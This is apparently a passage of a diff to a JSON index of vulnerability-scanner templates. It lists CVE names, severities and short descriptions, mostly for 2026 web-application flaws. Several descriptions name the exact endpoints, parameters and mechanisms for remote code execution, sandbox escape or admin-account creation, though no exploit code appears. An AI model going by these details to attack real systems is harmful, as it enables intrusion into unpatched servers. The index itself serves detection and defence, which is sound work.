{"ID":"CVE-2026-46339","Info":{"Name":"9Router \u003c= 0.4.36 - Unauthenticated RCE","Severity":"critical","Description":"9Router \u003c= 0.4.36 middleware only guards 8 explicitly listed routes, leaving /api/cli-tools/* and /api/mcp/* entirely unauthenticated. An attacker can POST to /api/cli-tools/cowork-settings to register a custom MCP plugin with attacker-controlled command and args stored verbatim into globalThis, then GET /api/mcp/{name}/sse to trigger spawn() with the stored command resulting in unauthenticated remote code execution.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-46339.yaml"}
{"ID":"CVE-2026-46364","Info":{"Name":"phpMyFAQ \u003c= 4.1.1 - SQL Injection","Severity":"critical","Description":"phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-46364.yaml"}
{"ID":"CVE-2026-46372","Info":{"Name":"SillyTavern - Server-Side Request Forgery","Severity":"high","Description":"SillyTavern versions up to and including 1.17.0 expose the /api/search/searxng endpoint, which accepts an attacker-controlled baseUrl parameter and uses it directly to build outbound server-side fetch requests. An authenticated low-privilege user can point baseUrl at an internal or loopback HTTP service and receive the full response body, enabling read access to internal services, cloud metadata endpoints, and private network resources.\n","Classification":{"CVSSScore":"8.5"}},"file_path":"http/cves/2026/CVE-2026-46372.yaml"}
{"ID":"CVE-2026-46442","Info":{"Name":"Flowise \u003c 3.1.2 - node-custom-function Unauthorized RCE","Severity":"critical","Description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2026/CVE-2026-46442.yaml"}
{"ID":"CVE-2026-46670","Info":{"Name":"YesWiki \u003c 4.6.4 - Unauthenticated SQL Injection","Severity":"critical","Description":"YesWiki before version 4.6.4 contains an unauthenticated SQL injection vulnerability in the Bazar form-import path. The bn_id_nature parameter in FormManager::create() is concatenated into an INSERT statement without sanitization, allowing unauthenticated attackers to inject arbitrary SQL and read the full database including password hashes.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-46670.yaml"}
{"ID":"CVE-2026-46725","Info":{"Name":"TYPO3 ceselector Extension - Insecure Deserialization","Severity":"critical","Description":"TYPO3 extension contains a PHP Object Injection caused by passing attacker-controlled cookie to unserialize() without validation, letting remote unauthenticated attackers achieve remote code execution, exploit requires Persistent Mode: Static configuration.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-46725.yaml"}
{"ID":"CVE-2026-47668","Info":{"Name":"DbGate - Remote Code Execution via Anonymous JWT","Severity":"critical","Description":"DbGate contains a remote code execution vulnerability exploitable by unauthenticated attackers. The /auth/login endpoint issues anonymous JWT tokens without credentials, and the /runners/start endpoint accepts JavaScript payloads that execute via Node.js child_process, allowing arbitrary command execution on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-47668.yaml"}
@@ -4077,34 +4109,55 @@
{"ID":"CVE-2026-48710","Info":{"Name":"Starlette - Improper Validation of Unsafe Equivalence in Input","Severity":"critical","Description":"A flaw was found in Starlette, a lightweight ASGI (Asynchronous Server Gateway Interface) framework. A remote attacker could exploit this vulnerability by sending a specially crafted HTTP Host request header. This malformed header could cause the request.url to be incorrectly reconstructed, leading to a discrepancy with the actual requested path. Consequently, security restrictions enforced by middleware and endpoints that rely on request.url for validation could be bypassed, potentially allowing unauthorized access or actions.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2026/CVE-2026-48710.yaml"}
{"ID":"CVE-2026-48907","Info":{"Name":"Joomla! JCE extension \u003c 2.9.99.5 unauthenticated RCE","Severity":"critical","Description":"Joomla JCE editor extension contains an unrestricted file upload vulnerability caused by allowing unauthenticated users to create new editor profiles, letting attackers upload and execute PHP code remotely, exploit requires no authentication.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-48907.yaml"}
{"ID":"CVE-2026-49777","Info":{"Name":"WordPress Product Slider Pro for WooCommerce \u003c 3.5.4 - Supply Chain Backdoor RCE","Severity":"critical","Description":"Improper Validation of Specified Quantity in Input vulnerability in ShapedPlugin, LLC Product Slider Pro for WooCommerce allows Malicious Software Implanted. This issue affects Product Slider Pro for WooCommerce: from n/a before 3.5.4.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-49777.yaml"}
{"ID":"CVE-2026-4987","Info":{"Name":"SureForms \u003c= 2.5.2 - Unauthenticated Payment Amount Validation Bypass via form_id","Severity":"high","Description":"The SureForms plugin for WordPress is vulnerable to payment amount validation bypass in versions up to, and including, 2.5.2.\nThe create_payment_intent AJAX handler checks `if ($form_id \u003e 0 \u0026\u0026 !empty($block_id))` before calling validate_payment_amount().\nBy sending form_id=0 (the default intval of a missing/zero value), an unauthenticated attacker completely skips the server-side\namount validation and can create Stripe payment intents with arbitrary amounts, bypassing configured pricing.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-4987.yaml"}
{"ID":"CVE-2026-49952","Info":{"Name":"Discuz! X5.0 - Authentication Bypass","Severity":"critical","Description":"Discuz! X5.0 20260320 through 20260501 contains an authentication bypass caused by exploitation of a shared cryptographic key and encryption oracle in dbbak.php and logging_ctl::logging_more(), letting unauthenticated remote attackers access database backup and restore functions, exploit requires crafted payload injection via username parameter.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-49952.yaml"}
{"ID":"CVE-2026-50229","Info":{"Name":"Apache Tomcat - Cross-Site Scripting","Severity":"medium","Description":"Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in the number guess example for Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.22, from 10.1.0-M1 through 10.1.55, from 9.0.0.M1 through 9.0.118, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109. Other versions that have reached end of support may also be affected. Users are recommended to upgrade to version 11.0.23, 10.1.56 or 9.0.119, which fix the issue.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-50229.yaml"}
{"ID":"CVE-2026-50230","Info":{"Name":"Lyrion Music Server \u003c= 9.2.0 - Cross-Site Scripting","Severity":"medium","Description":"Lyrion Music Server 9.2.0 contains a reflected XSS caused by improper sanitization of the search parameter in the server.log endpoint, letting unauthenticated attackers execute arbitrary script in users' browsers.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-50230.yaml"}
{"ID":"CVE-2026-5027","Info":{"Name":"Langflow \u003c= 1.8.4 - Path Traversal to RCE via File Upload","Severity":"high","Description":"The application contains a path traversal vulnerability caused by unsanitized 'filename' parameter in the 'POST /api/v2/files' multipart form data, letting attackers write files to arbitrary filesystem locations, exploit requires crafted request.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-5027.yaml"}
{"ID":"CVE-2026-5073","Info":{"Name":"WordPress ARMember Premium \u003c= 7.3.1 - Unauthenticated SQL Injection","Severity":"critical","Description":"The ARMember Premium plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter of the 'arm_directory_paging_action' AJAX action in all versions up to, and including, 7.3.1. This is due to insufficient escaping on the user-supplied 'order' and 'orderby' parameters and the lack of sufficient preparation on the existing SQL query in the `arm_get_directory_members()` function.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-5073.yaml"}
{"ID":"CVE-2026-50751","Info":{"Name":"Check Point IKEv1 Remote-Access VPN - Certificate Authentication Bypass","Severity":"critical","Description":"IKEv1 key exchange contains a broken authentication caused by logic flow weakness in Remote Access and Mobile Access certificate validation, letting unauthenticated remote attackers bypass user authentication and establish VPN connections without valid passwords, exploit requires use of deprecated IKEv1.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-50751.yaml"}
{"ID":"CVE-2026-52773","Info":{"Name":"YesWiki Archived Revision - Cross-Site Scripting","Severity":"medium","Description":"YesWiki's archived-revision view reflects the time GET parameter into a hidden HTML input in handlers/page/show.php without escaping. Because MySQL coerces malformed DATETIME strings, an attacker can append an XSS payload after a valid revision timestamp.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-52773.yaml"}
{"ID":"CVE-2026-52774","Info":{"Name":"YesWiki Bazar Widget - Reflected XSS via 'id' Parameter","Severity":"medium","Description":"YesWiki's Bazar widget handler reflects the id GET parameter into HTML attributes using strip_tags() only. strip_tags() does not escape double quotes, allowing an attacker to break out of the data-formid attribute and inject arbitrary event handlers.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-52774.yaml"}
{"ID":"CVE-2026-52815","Info":{"Name":"Gogs \u003c 0.14.3 - Unauthenticated Organization Teams Disclosure","Severity":"low","Description":"Gogs before version 0.14.3 contains an unauthenticated information disclosure vulnerability. The GET /api/v1/orgs/:orgname/teams endpoint returns all teams for any organization without requiring authentication. The route group lacks the reqToken() middleware, exposing team IDs, names, descriptions, and permission levels to any unauthenticated caller.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2026/CVE-2026-52815.yaml"}
{"ID":"CVE-2026-52824","Info":{"Name":"Kimai \u003c= 2.57.0 - Default APP_SECRET Authentication Bypass","Severity":"critical","Description":"Kimai Docker images \u003c= 2.57.0 ship with a hardcoded APP_SECRET of \"change_this_to_something_unique\". This default secret is used by Symfony's SignatureHasher to HMAC-sign login links and remember-me cookies. An unauthenticated attacker who knows this default secret can forge valid authentication tokens and hijack any user account, including the super-admin.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-52824.yaml"}
{"ID":"CVE-2026-53787","Info":{"Name":"Magento 2 Amasty Order Attributes \u003c 4.0.0 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"Amasty Order Attributes for Magento 2 \u003c 4.0.0 contains an unrestricted file upload vulnerability caused by lack of authentication and validation in the upload endpoint, letting unauthenticated attackers upload arbitrary files including PHP, enabling remote code execution or malware hosting.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-53787.yaml"}
{"ID":"CVE-2026-54066","Info":{"Name":"SiYuan \u003c= 3.6.5 - Unauthenticated Path Traversal","Severity":"high","Description":"SiYuan \u003c= 3.6.5 contains a path traversal via double URL-encoding in the /assets/ route (publish mode port 6808), allowing unauthenticated attackers to read arbitrary files inside WorkspaceDir including conf/conf.json which exposes the API token and access auth code.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-54066.yaml"}
{"ID":"CVE-2026-54069","Info":{"Name":"SiYuan Note \u003c= 3.6.5 - Authentication Bypass","Severity":"high","Description":"SiYuan Note 3.6.5 and prior is vulnerable to authentication bypass. The CheckAuth middleware unconditionally trusted all chrome-extension:// origins, granting RoleAdministrator access without token validation to any request with a spoofed Origin header. Fixed in v3.7.0.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-54069.yaml"}
{"ID":"CVE-2026-54157","Info":{"Name":"LobeHub LobeChat \u003c= 2.1.56 - Server-Side Request Forgery","Severity":"medium","Description":"LobeHub LobeChat versions up to and including 2.1.56 are vulnerable to an unauthenticated server-side request forgery vulnerability in the /webapi/proxy endpoint. The endpoint accepts a URL in the POST request body and fetches it server-side without authentication.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-54157.yaml"}
{"ID":"CVE-2026-54236","Info":{"Name":"vLLM \u003c= 0.23.0 - Anthropic Router Heap Address Information Leak","Severity":"medium","Description":"vLLM \u003c= 0.23.0 incompletely fixes CVE-2026-22778. The original fix added sanitize_message to the OpenAI router but the Anthropic-compatible router (/v1/messages) echoes str(exc) directly.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-54236.yaml"}
{"ID":"CVE-2026-54836","Info":{"Name":"YMC Filter - SQL Injection","Severity":"critical","Description":"YMC Filter \u003c= 3.11.5 contains an sql injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2026/CVE-2026-54836.yaml"}
{"ID":"CVE-2026-55450","Info":{"Name":"Langflow \u003c 1.9.1 - Unauthenticated File Upload","Severity":"critical","Description":"Langflow \u003c 1.9.1 contains an unrestricted file upload caused by lack of upload limitations, letting unauthenticated attackers exhaust server space and leak absolute file paths, exploit requires network access.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2026/CVE-2026-55450.yaml"}
{"ID":"CVE-2026-55592","Info":{"Name":"Dashy \u003c= 4.3.6 - Reflected XSS via Workspace","Severity":"medium","Description":"Dashy versions up to 4.3.6 contain a reflected cross-site scripting vulnerability in the workspace view. The url query parameter is passed directly to an iframe src attribute without scheme validation, allowing an attacker to inject javascript: URIs that execute arbitrary JavaScript in the context of the Dashy origin.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-55592.yaml"}
{"ID":"CVE-2026-5615","Info":{"Name":"VvvebJs \u003c= 2.0.5 - Cross-Site Scripting","Severity":"medium","Description":"Givanz Vvvebjs \u003c= 2.0.5 contains a stored XSS caused by manipulation of the \"uploadAllowExtensions\" argument in upload.php File Upload Endpoint, letting remote attackers execute scripts, exploit requires crafted input.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2026/CVE-2026-5615.yaml"}
{"ID":"CVE-2026-56290","Info":{"Name":"Page Builder CK \u003c= 3.5.10 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"Joomla Page Builder CK contains an unrestricted file upload vulnerability caused by lack of proper validation, letting unauthenticated attackers upload executable files and achieve remote code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-56290.yaml"}
{"ID":"CVE-2026-56291","Info":{"Name":"Balbooa Forms \u003c 2.4.1 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"Joomla Balbooa Forms contains an unrestricted file upload vulnerability caused by lack of authentication checks, letting unauthenticated attackers upload executable files and achieve remote code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-56291.yaml"}
{"ID":"CVE-2026-56782","Info":{"Name":"Gorse \u003c 0.5.10 - Unauthenticated Database Dump","Severity":"critical","Description":"Gorse \u003c 0.5.10 contains an authentication bypass caused by empty admin_api_key in /api/dump and /api/restore endpoints, letting unauthenticated remote attackers access and modify protected data, exploit requires default empty admin_api_key configuration.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-56782.yaml"}
{"ID":"CVE-2026-5718","Info":{"Name":"Drag and Drop Multiple File Upload - CF7 \u003c= 1.3.9.6 - Remote Code Execution","Severity":"critical","Description":"Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin \u003c= 1.3.9.6 contains an unrestricted file upload caused by insufficient file type validation and bypass of filename sanitization with non-ASCII characters, letting unauthenticated attackers upload arbitrary files and achieve remote code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-5718.yaml"}
{"ID":"CVE-2026-58455","Info":{"Name":"Dockwatch \u003c= 0.6.567 - OS Command Injection","Severity":"critical","Description":"Dockwatch through 0.6.567 contains an unauthenticated command injection caused by missing exit() after authentication redirect in loader.php and unsanitized input in ajax/compose.php, letting remote attackers execute arbitrary shell commands, exploit requires seeding a session flag via incomplete auth check.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-58455.yaml"}
{"ID":"CVE-2026-59801","Info":{"Name":"9Router - Unauthenticated LLM Provider API Exposure","Severity":"critical","Description":"9Router through version 0.4.41 contains an unauthenticated access vulnerability caused by missing authentication middleware in Next.js API routes under src/app/api/providers/*, letting remote attackers enumerate, create, modify, or delete provider connections, exploit requires no authentication.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-59801.yaml"}
{"ID":"CVE-2026-60004","Info":{"Name":"Gitea \u003c= 1.27.0 - Pre-Auth Remote Code Execution","Severity":"critical","Description":"Gitea versions 1.17 through 1.27.0 contain a remote code execution vulnerability in the diffpatch endpoint caused by an add/add collision that writes an executable Git hook into the bare repository's GIT_DIR. An attacker with write access can execute arbitrary commands as the Gitea service account, exploit requires only open registration for unauthenticated access.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-60004.yaml"}
{"ID":"CVE-2026-6118","Info":{"Name":"AstrBot \u003c= 4.22.1 - Command Injection","Severity":"high","Description":"AstrBot versions up to and including 4.22.1 contain a command injection vulnerability in the MCP server configuration endpoint. The /api/tools/mcp/add endpoint accepts arbitrary command and args fields that are passed directly to subprocess execution during the connection test, without any validation or allowlist enforcement. An attacker with dashboard access can execute arbitrary system commands with AstrBot process privileges.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-6118.yaml"}
{"ID":"CVE-2026-6203","Info":{"Name":"User Registration \u0026 Membership WordPress plugin - Open Redirect","Severity":"medium","Description":"User Registration \u0026 Membership WordPress plugin \u003c= 5.1.4 contains an open redirect caused by insufficient validation of 'redirect_to_on_logout' parameter, letting attackers redirect users to malicious external URLs after logout, exploit requires crafted URL.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-6203.yaml"}
{"ID":"CVE-2026-63030","Info":{"Name":"WordPress Core 6.9-7.0.1 - Pre-Auth Batch-Route Confusion","Severity":"critical","Description":"WordPress core versions 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1 are vulnerable to a pre-authentication route confusion issue in the REST API batch endpoint (/?rest_route=/batch/v1). A malformed nested batch request desynchronizes the batch router, allowing unauthenticated requests to reach unintended REST API handlers and bypass authorization checks. This route confusion can be chained with a SQL injection flaw (CVE-2026-60137) in the author_exclude parameter to extract database contents and ultimately achieve remote code execution. This template safely detects the vulnerable handler state via the route confusion behavior alone, without executing SQL or relying on response timing.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-63030.yaml"}
{"ID":"CVE-2026-6433","Info":{"Name":"FlipperCode Custom CSS, JS \u0026 PHP \u003c= 2.0.7 - Remote Code Execution","Severity":"critical","Description":"Custom css-js-php WordPress plugin through 2.0.7 contains a command injection caused by unsanitized user input used in SQL query and passed to eval(), letting unauthenticated attackers execute arbitrary PHP code on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-6433.yaml"}
{"ID":"CVE-2026-65694","Info":{"Name":"Microweber CMS \u003c= 2.0.20 - Unauthenticated Arbitrary File Read","Severity":"high","Description":"Microweber CMS \u003c= 2.0.20 contains a path traversal vulnerability caused by failure to normalize path query parameter in static file controller, letting unauthenticated remote attackers read arbitrary files.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-65694.yaml"}
{"ID":"CVE-2026-6875","Info":{"Name":"ServiceNow AI Platform - Pre-Auth JavaScript Sandbox Escape RCE","Severity":"critical","Description":"ServiceNow AI Platform (Brazil, Australia, Zurich, and Yokohama releases before patching) contains a pre-authentication remote code execution vulnerability. The /assessment_thanks.do endpoint passes the sysparm_assessable_type parameter into GlideRecord's addQuery(), which evaluates \"javascript:\" prefixed values as JavaScript in a restricted script sandbox. A sandbox escape gadget using Object.defineProperty and Class.create.constructor chains through the gs.include('ItemViewElementsProvider') path to invoke Function(code)(), bypassing the sandbox and executing arbitrary GlideController code. Actively exploited in the wild since July 2026.\n","Classification":{"CVSSScore":"9.5"}},"file_path":"http/cves/2026/CVE-2026-6875.yaml"}
{"ID":"CVE-2026-7798","Info":{"Name":"WordPress FluentCRM \u003c= 2.9.87 - Unauthenticated Blind SSRF","Severity":"medium","Description":"FluentCRM WordPress plugin \u003c= 2.9.87 contains a blind server-side request forgery caused by improper validation of the 'SubscribeURL' parameter, letting unauthenticated attackers make arbitrary web requests, exploit requires unconfigured SES bounce handling key.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2026/CVE-2026-7798.yaml"}
{"ID":"CVE-2026-8037","Info":{"Name":"Progress ADC LoadMaster - Command Injection","Severity":"critical","Description":"OS Command Injection Remote Code Execution Vulnerability in API in Progress ADC Products allows an un-authenticated attacker to execute arbitrary commands on the LoadMaster appliance by exploiting unsanitized input in multiple command endpoints\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-8037.yaml"}
{"ID":"CVE-2026-8054","Info":{"Name":"dotCMS Core Publish Audit API - Unauthenticated SQL Injection","Severity":"critical","Description":"dotCMS Core 25.11.04-1 through 26.04.28-02 contains an SQL injection caused by unsanitized input in Publish Audit API endpoints (/api/auditPublishing/get and /api/auditPublishing/getAll), letting remote unauthenticated attackers read, modify, or destroy arbitrary database content, exploit requires no authentication.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-8054.yaml"}
{"ID":"CVE-2026-8181","Info":{"Name":"WordPress Burst Statistics 3.4.0-3.4.1.1 - Authentication Bypass","Severity":"critical","Description":"Burst Statistics – Privacy-Friendly WordPress Analytics plugin 3.4.0 to 3.4.1.1 contains an authentication bypass caused by incorrect return-value handling in is_mainwp_authenticated() function, letting unauthenticated attackers impersonate administrators, exploit requires knowledge of an administrator username.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-8181.yaml"}
{"ID":"CVE-2026-8383","Info":{"Name":"LearnPress \u003c 4.3.7 - Information Disclosure","Severity":"medium","Description":"LearnPress WordPress plugin \u003c 4.3.7 contains an information disclosure vulnerability caused by missing capability checks on a REST endpoint, letting unauthenticated visitors retrieve sensitive user role and capability data via crafted requests.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-8383.yaml"}
{"ID":"CVE-2026-8385","Info":{"Name":"WordPress WP Go Maps \u003c 10.0.10 - Unauthenticated Marker Data Disclosure","Severity":"medium","Description":"WP Go Maps WordPress plugin \u003c 10.0.10 contains an information disclosure vulnerability caused by improper enforcement of marker approval filter in admin-ajax fallback for datatables route, letting unauthenticated visitors retrieve unapproved marker records.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-8385.yaml"}
{"ID":"CVE-2026-8386","Info":{"Name":"WP Go Maps \u003c 10.0.10 - Unauthenticated Marker Information Disclosure","Severity":"medium","Description":"WP Go Maps WordPress plugin \u003c10.0.10 contains an information disclosure vulnerability caused by lack of approval-state filtering on the public single-marker REST endpoint, letting unauthenticated users access unapproved marker records including PII and geographic coordinates, exploit requires no authentication.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-8386.yaml"}
{"ID":"CVE-2026-8679","Info":{"Name":"WordPress AudioIgniter \u003c= 2.0.2 - Unauthenticated IDOR","Severity":"high","Description":"The AudioIgniter plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 2.0.2. The handle_playlist_endpoint() function accepted a user-controlled playlist ID and returned track data without authentication.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-8679.yaml"}
{"ID":"CVE-2026-8713","Info":{"Name":"Avada (Fusion) Builder \u003c= 3.15.3 - Unauthenticated Arbitrary File Deletion","Severity":"critical","Description":"The Avada (Fusion) Builder plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the maybe_delete_files function. An unauthenticated attacker can delete arbitrary files on the server by manipulating the file_path parameter in the fusion_form_maybe_delete_files AJAX action. Deleting critical files like wp-config.php can lead to complete site takeover via reinstallation. This template detects the vulnerable version via homepage asset URL versioning (primary) and readme.txt Stable tag (fallback).\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-8713.yaml"}
{"ID":"CVE-2026-8732","Info":{"Name":"WP Maps Pro (wp-google-map-gold) \u003c= 6.1.0 - Unauthenticated Administrator Account Creation","Severity":"critical","Description":"The WP Maps Pro plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Creation in all versions up to, and including, 6.1.0. This is due to the wpgmp_temp_access_ajax AJAX action being registered with wp_ajax_nopriv_ and protected only by a nonce check using the fc-call-nonce nonce, which is publicly embedded into every frontend page via wp_localize_script as the nonce field of the wpgmp_local JavaScript object, rendering the check ineffective as an access control mechanism. This makes it possible for unauthenticated attackers to invoke the wpgmp_temp_access_support handler with check_temp=false, which unconditionally creates a new WordPress user with the hardcoded role of administrator via wp_insert_user() and returns a magic login URL that, when visited, calls wp_set_auth_cookie() to fully authenticate the attacker as the newly created administrator, resulting in complete site takeover.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-8732.yaml"}
{"ID":"CVE-2026-8839","Info":{"Name":"WordPress MapPress Maps \u003c= 2.96.6 - Unauthenticated IDOR","Severity":"medium","Description":"MapPress Maps for WordPress \u003c= 2.96.6 contains an authorization bypass caused by missing ownership verification in REST API routes, letting unauthenticated attackers read any map data and authenticated contributors modify any map, exploit requires crafted API requests\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-8839.yaml"}
{"ID":"CVE-2026-9082","Info":{"Name":"Drupal Core - Anonymous SQL Injection via PostgreSQL Entity Query","Severity":"critical","Description":"Drupal core from 8.9.0 before 10.4.10, 10.5.0 before 10.5.10, 10.6.0 before 10.6.9, 11.0.0 before 11.1.10, 11.2.0 before 11.2.12, and 11.3.0 before 11.3.10 contains an SQL injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-9082.yaml"}
{"ID":"CVE-2026-9198","Info":{"Name":"IBM Langflow - Remote Code Execution","Severity":"critical","Description":"IBM Langflow OSS 1.0.0 through 1.10.0 contains a remote code execution caused by chaining /api/v1/auto_login and /api/v1/validate/code endpoints, letting unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-9198.yaml"}
{"ID":"CVE-2026-9282","Info":{"Name":"W3 Total Cache \u003c= 2.9.4 - Unauthenticated Arbitrary File Read","Severity":"high","Description":"W3 Total Cache WordPress plugin \u003c= 2.9.4 contains a directory traversal caused by improper handling in setupSources function, letting unauthenticated attackers read arbitrary files, exploit requires manual minify mode enabled with specific filename.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-9282.yaml"}
{"ID":"CVE-2026-9290","Info":{"Name":"WP User Manager – User Profile Builder \u0026 Membership - Local File Inclusion","Severity":"high","Description":"WP User Manager – User Profile Builder \u0026 Membership plugin for WordPress \u003c= 2.9.17 contains a local file inclusion caused by improper handling in the profile template scope function, letting unauthenticated attackers execute arbitrary PHP code, exploit requires ability to upload or control PHP files.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-9290.yaml"}
{"ID":"CVE-2026-44338","Info":{"Name":"PraisonAI - Authentication Bypass","Severity":"high","Description":"PraisonAI 2.5.6 to \u003c 4.6.34 contains a broken authentication caused by disabled default authentication in legacy Flask API server, letting remote attackers access /agents and trigger workflows without token, exploit requires network access to API server.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2026/cve-2026-44338.yaml"}
{"ID":"CVE-2026-44381","Info":{"Name":"MISP \u003c 2.5.37 - SQL Injection","Severity":"medium","Description":"MISP before 2.5.37 is vulnerable to SQL injection via the order parameter in EventsController. The POST body order value is passed directly into ORDER BY clauses without validation.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/cve-2026-44381.yaml"}
{"ID":"CVE-2001-1473","Info":{"Name":"Deprecated SSHv1 Protocol Detection","Severity":"high","Description":"SSHv1 is deprecated and has known cryptographic issues.","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2001/CVE-2001-1473.yaml"}
{"ID":"CVE-2004-0437","Info":{"Name":"Titan FTP Server 3.01 - DoS via LIST Command Disconnection","Severity":"medium","Description":"Titan FTP Server version 3.01 build 163 (and possibly other older versions) contains a vulnerability where disconnecting during a LIST -L command may crash the daemon. Remote attackers can cause denial of service by initiating a LIST -L command and then abruptly disconnecting, leading to server instability.\n","Classification":{"CVSSScore":"5"}},"file_path":"network/cves/2004/CVE-2004-0437.yaml"}
{"ID":"CVE-2004-0656","Info":{"Name":"Pure-FTPd ≤ 1.0.18 - DoS via Connection Limit Exhaustion","Severity":"medium","Description":"Pure-FTPd versions ≤ 1.0.18 are vulnerable to denial of service through connection limit exhaustion. The vulnerability occurs in the accept_client function when the maximum number of connections is exceeded, potentially causing the server to become unresponsive or crash.\n","Classification":{"CVSSScore":"5"}},"file_path":"network/cves/2004/CVE-2004-0656.yaml"}
@@ -4142,7 +4195,6 @@
